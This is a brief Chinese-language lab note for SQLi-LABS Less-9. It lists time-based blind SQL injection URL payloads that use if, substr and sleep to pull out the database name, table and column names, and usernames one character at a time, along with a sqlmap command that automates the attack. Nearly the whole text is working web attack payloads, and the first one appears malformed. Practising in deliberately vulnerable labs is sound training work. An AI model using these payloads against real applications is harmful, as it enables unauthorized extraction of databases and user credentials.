[SQLi-LABS] Less-9

基于时间盲注，无法测试闭合，只能硬做

手动:

/Less-9/?id=1' and if(length(database())>0,1,1)="s",sleep(2),0)--+  //测试是否有注入点
/Less-9/?id=1' and if(substr((select database()),1,1)="s",sleep(2),0)--+  //爆库
/Less-9/?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)="e",sleep(2),0)--+  //爆表
/Less-9/?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)="u",sleep(2),0)--+  //爆字段
/Less-9/?id=1' and if(substr((select group_concat(username) from security.users),1,1)="d",sleep(2),0)--+  //爆内容

自动:

sqlmap -u /Less-9/?id=1 --technique T --dbs --batch